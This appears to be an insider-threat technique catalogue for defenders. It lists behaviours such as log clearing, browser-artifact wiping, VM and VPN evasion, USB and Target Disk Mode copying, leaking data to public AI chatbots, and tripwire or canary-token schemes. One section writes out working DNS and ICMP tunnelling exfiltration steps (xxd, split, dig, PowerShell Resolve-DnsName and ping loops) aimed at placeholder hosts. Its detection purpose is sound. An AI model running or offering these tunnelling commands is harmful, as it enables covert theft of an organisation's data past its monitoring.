Agent Capable of Endpoint Detection and Response

A subject can leverage software approved for installation or software that is already installed.

A subject can access the web with an organization device.

A subject has privileged access to devices, systems or services that hold sensitive information.

A subject is able to access external FTP servers.

A subject is able to access external SSH servers.

A subject clears operating system logs to hide evidence of their activities.

A subject may attempt to modify log files, as opposed to deleting them, to remove evidence of their actions.

A subject may delete user accounts to obscure their activities and delete all files associated with that user.

Private browsing, also known as 'incognito mode' among other terms, is a feature in modern web browsers that prevents the storage of browsing history, cookies, and site data on a subject's device. When private browsing is enabled, it ensures any browsing activity conducted during the browser session is not saved to the browser history or cache.

A subject can use private browsing to conceal their actions in a web browser, such as navigating to unauthorized websites, downloading illicit materials, uploading corporate data or conducting covert communications, thus leaving minimal traces of their browsing activities on a device and frustrating forensic recovery efforts.

Data obfuscation is the act of deliberately obscuring or disguising data to avoid detection and/or hinder forensic analysis. A subject may obscure data in preparation to exfiltrate the data.

A subject conducts a scan of a network to identify additional systems, or services running on those systems.

A subject uses organizational resources, such as internet access, email, or work devices, for personal activities both during and outside work hours, exceeding reasonable personal use. This leads to reduced productivity, increased security risks, and the potential mixing of personal and organizational data, ultimately affecting the organization’s efficiency and overall security.

A subject interacts with a public Artificial Intelligence (AI) chatbot (such as ChatGPT and xAI Grok), leading to the intentional or unintentional sharing of sensitive information.

The subject uninstalls software, which may also remove relevant artifacts from the system's disk, such as regsitry keys or files necessary for the software to run, preventing them from being used by investigators to track activity.

A subject engages in web searches that may indicate research or information gathering related to potential infringement or anti-forensic activities. Examples include searching for software that could facilitate data exfiltration, methods for deleting or modifying system logs, or techniques to evade security controls. Such activity could signal preparation for a potential insider event.

The subject uses a virtual machine (VM) to contain artifacts of forensic value within the virtualized environment, preventing them from being written to the host file system. This strategy helps to obscure evidence and complicate forensic investigations.
 

By running a guest operating system within a VM, the subject can potentially evade detection by security agents installed on the host operating system, as these agents may not have visibility into activities occurring within the VM. This adds an additional layer of complexity to forensic analysis, making it more challenging to detect and attribute malicious activities.

The subject installs and uses an unapproved VPN client, potentially violating organizational policy. By using a VPN service not controlled by the organization, the subject can bypass security controls, reducing the security team’s visibility into network activity conducted through the unauthorized VPN. This could lead to significant security risks, as monitoring and detection mechanisms are circumvented.

A subject accesses a website that allows for the unauthorized streaming of copyrighted material.

A subject can access personal webmail services in a browser.

A subject can access personal cloud storage in a browser.

A subject can access websites containing inappropriate content.

A subject can access external note-taking websites (Such as Evernote).

A subject can access external messenger web-applications with the ability to transmit data and/or files.

A subject has access to or can install screen sharing software which can be used to capture images or other information from a target system.

A subject can access websites used to access or manage code repositories.

A subject may rename a file to obscure the content of the file or change the file extension to hide the file type. This can aid in avoiding suspicion and bypassing certain security filers and endpoint monitoring tools. For example, renaming a sensitive document from FinancialReport.docx to Recipes.txt before copying it to a USB mass storage device.

A subject exfiltrates data using a USB-connected mass storage device, such as a USB flash drive or USB external hard-drive.

A USB to USB data transfer cable is a device designed to connect two computers directly together for the purpose of transferring files between them. These cables are equipped with a small electronic circuit to facilitate data transfer without the need for an intermediate storage device. Typically a USB to USB data transfer cable will require specific software to be installed to facilitate the data transfer. In the context of an insider threat, a USB to USB data transfer cable can be a tool for exfiltrating sensitive data from an organization's environment.

When a Mac is booted into Target Disk Mode (by powering the computer on whilst holding the ‘T’ key), it acts as an external storage device, accessible from another computer via Thunderbolt, USB, or FireWire connections. A subject with physical access to the computer, and the ability to control boot options, can copy any data present on the target disk, bypassing the need to authenticate to the target computer.

A subject clears Google Chrome browser artifacts to hide evidence of their activities, such as visited websites, cache, cookies, and download history.

A subject clears Mozzila Firefox browser artifacts to hide evidence of their activities, such as visited websites, cache, cookies, and download history.

A subject clears Microsoft Edge browser artifacts to hide evidence of their activities, such as visited websites, cache, cookies, and download history.

A subject accesses, possesses and/or distributes materials that advocate, promote, or incite unlawful acts of violence intended to further political, ideological or religious aims (terrorism).

A person accesses, possesses, or distributes materials that advocate, promote, or incite extreme ideological, political, or religious views, often encouraging violence or promoting prejudice against individuals or groups.

A subject uploads confidential organization data to a note-taking web service, such as Evernote. The subject can then access the confidential data outside of the organization from another device.

A subject can access external text storage websites, such as Pastebin.

A subject exfiltrates data from an organization by encapsulating or hiding it within an otherwise legitimate protocol. This technique allows the subject to covertly transfer data, evading detection by standard security monitoring tools. Commonly used protocols, such as DNS and ICMP, are often leveraged to secretly transmit data to an external destination.

DNS Tunneling (Linux)
A simple example of how DNS tunneling might be achieved with 'Living off the Land' binaries (LoLBins) in Linux:
 

Prerequisites:

• A domain the subject controls or can use for DNS queries.
• A DNS server to receive and decode the DNS queries.

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex
 

2. The subject splits the hexdump into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

split -b 32 secret.txt.hex hexpart_

3. The subject uses dig to send the data in DNS TXT queries. Looping through the split files and sending each chunk as the subdomain of example.com in a TXT record query:

for part in hexpart_*; do
   h=$(cat $part)
   dig txt $h.example.com
done

On the target DNS server that they control, the subject captures the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

DNS Tunneling (Windows)
A simple example of how DNS tunneling might be achieved with PowerShell in Windows:

Prerequisites:

• A the subject you controls.
  A DNS server or a script on the subjects server to capture and decode the DNS queries.

Steps:
1. The subject converts the sensitive file to hex:

$filePath = "C:\path\to\your\secret.txt"
$hexContent = [System.BitConverter]::ToString([System.IO.File]::ReadAllBytes($filePath)) -replace '-', ''

2. The subject splits the hex data into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

$chunkSize = 32
$chunks = $hexContent -split "(.{$chunkSize})" | Where-Object { $_ -ne "" }

3. The subject sends the data in DNS TXT queries. Looping through the hex data chunks and sending each chunk as the subdomain of example.com in a TXT record query:

$domain = "example.com"

foreach ($chunk in $chunks) {
   $query = "$chunk.$domain"
   Resolve-DnsName -Name $query -Type TXT
}

The subject will capture the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

ICMP Tunneling (Linux)
A simple example of how ICMP tunneling might be achieved with 'Living off the Land' binaries (LOLBins) in Linux:
 

Prerequisites:

• The subject has access to a server that can receive and process ICMP packets.
• The subject has root privileges on both client and server machines (as ICMP usually requires elevated permissions).

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex

2. The subject splits the hexdump into manageable chunks. ICMP packets have a payload size limit, so it’s common to use small chunks. The following command will split the hex data into 32-byte chunks:
 

split -b 32 secret.txt.hex hexpart_

3. The subject uses ping to send the data in ICMP echo request packets. Loop through the split files and send each chunk as part of the ICMP payload:

DESTINATION_IP="subject_server_ip"
for part in hexpart_*; do
   h=$(cat $part)
   ping -c 1 -p "$h" $DESTINATION_IP
done

The subject will capture the incoming ICMP packets on the destination server, extract the data from the packets and decode the reassembled the hex data.

The subject intentionally weakens or bypasses network security controls for a third party, such as providing credentials or disabling security controls.

A subject intentionally submits sensitive information when interacting with a public Artificial Intelligence (AI) chatbot (such as ChatGPT and xAI Grok). They will access the conversation at a later date to retrieve information on a different system.

A subject recklessly interacts with a public Artificial Intelligence (AI) chatbot (such as ChatGPT and xAI Grok), leading to the inadvertent sharing of sensitive information. The submission of sensitive information to public AI platforms risks exposure due to potential inadequate data handling or security practices. Although some platforms are designed not to retain specific personal data, the reckless disclosure could expose the information to unauthorized access and potential misuse, violating data privacy regulations and leading to a loss of competitive advantage through the exposure of proprietary information.

A subject installs custom software or malware on an endpoint, potentially disguising it as a legitimate process. This software includes tripwire logic to monitor the system for signs of security activity.

The tripwire software monitors various aspects of the endpoint to detect potential investigations:

• Security Tool Detection: It scans running processes and monitors new files or services for signatures of known security tools, such as antivirus programs, forensic tools, and Endpoint Detection and Response (EDR) systems.
• File and System Access: It tracks access to critical files or system directories (e.g., system logs, registry entries) commonly accessed during security investigations. Attempts to open or read sensitive files can trigger an alert.
• Network Traffic Analysis: The software analyzes network traffic to identify unusual patterns, including connections to Security Operations Centers (SOC) or the blocking of command-and-control servers by network security controls.
• User and System Behavior: It observes system behavior and monitors logs (such as event logs) that indicate an investigation is in progress, such as switching to an administrative account or modifying security settings (e.g., enabling disk encryption, changing firewall rules).

Upon detecting security activity, the tripwire can initiate various evasive responses:

• Alert the Subject: It covertly sends an alert to an external server controlled by the subject, using common system tools (e.g., curl, wget, or HTTP requests).
• Modify Endpoint Behavior: It can terminate malicious processes, erase evidence (e.g., logs, browser history, specific files), or restore system and network configurations to conceal signs of tampering.

A subject uses files with canary tokens as a tripwire mechanism to detect the presence of security personnel or investigation activities within a compromised environment. This method involves strategically placing files embedded with special identifiers (canary tokens) that trigger alerts when accessed. For example:

The subject creates files containing canary tokens—unique identifiers that generate an alert when they are accessed, opened, or modified. These files can appear as regular documents, logs, configurations, or other items that might attract the attention of an investigator during a security response.

The subject strategically places these files in various locations within the environment:

• Endpoints: Files with canary tokens are stored in directories where digital forensics or malware analysis is likely to occur, such as system logs, user data directories, or registry entries.
• Cloud Storage: The files are uploaded to cloud storage buckets, virtual machines, or application databases where security teams might search for indicators of compromise.
• Network Shares: Shared drives and network locations where forensic investigators or security tools may perform scans.

Once in place, the canary token within each file serves as a silent tripwire. The token monitors for access and automatically triggers an alert if an action is detected:

• Access Detection: If a security tool, administrator, or investigator attempts to open, modify, or copy the file, the embedded canary token sends an alert to an external server controlled by the subject.
• Network Traffic: The token can initiate an outbound network request (e.g., HTTP, DNS) to a specified location, notifying the subject of the exact time and environment where the access occurred.
• Behavior Analysis: The subject might include multiple canary files, each with unique tokens, to identify the pattern of investigation, such as the sequence of directories accessed or specific file types of interest to the security team.

Upon receiving an alert from a triggered canary token, the subject can take immediate steps to evade detection:

• Alert the Subject: The canary token sends a covert signal to the subject's designated server or communication channel, notifying them of the potential investigation.
• Halt Malicious Activity: The subject can use this warning to suspend ongoing malicious actions, such as data exfiltration or command-and-control communications, to avoid further detection.
• Clean Up Evidence: Scripts can be triggered to delete or alter logs, remove incriminating files, or revert system configurations to their original state, complicating any forensic investigation.
• Feign Normalcy: The subject can restore or disguise compromised systems to appear as though nothing suspicious has occurred, minimizing signs of tampering.

By using files with canary tokens as tripwires, a subject can gain early warning of investigative actions and respond quickly to avoid exposure. This tactic allows them to outmaneuver standard security investigations by leveraging silent alerts that inform them of potential security team activity.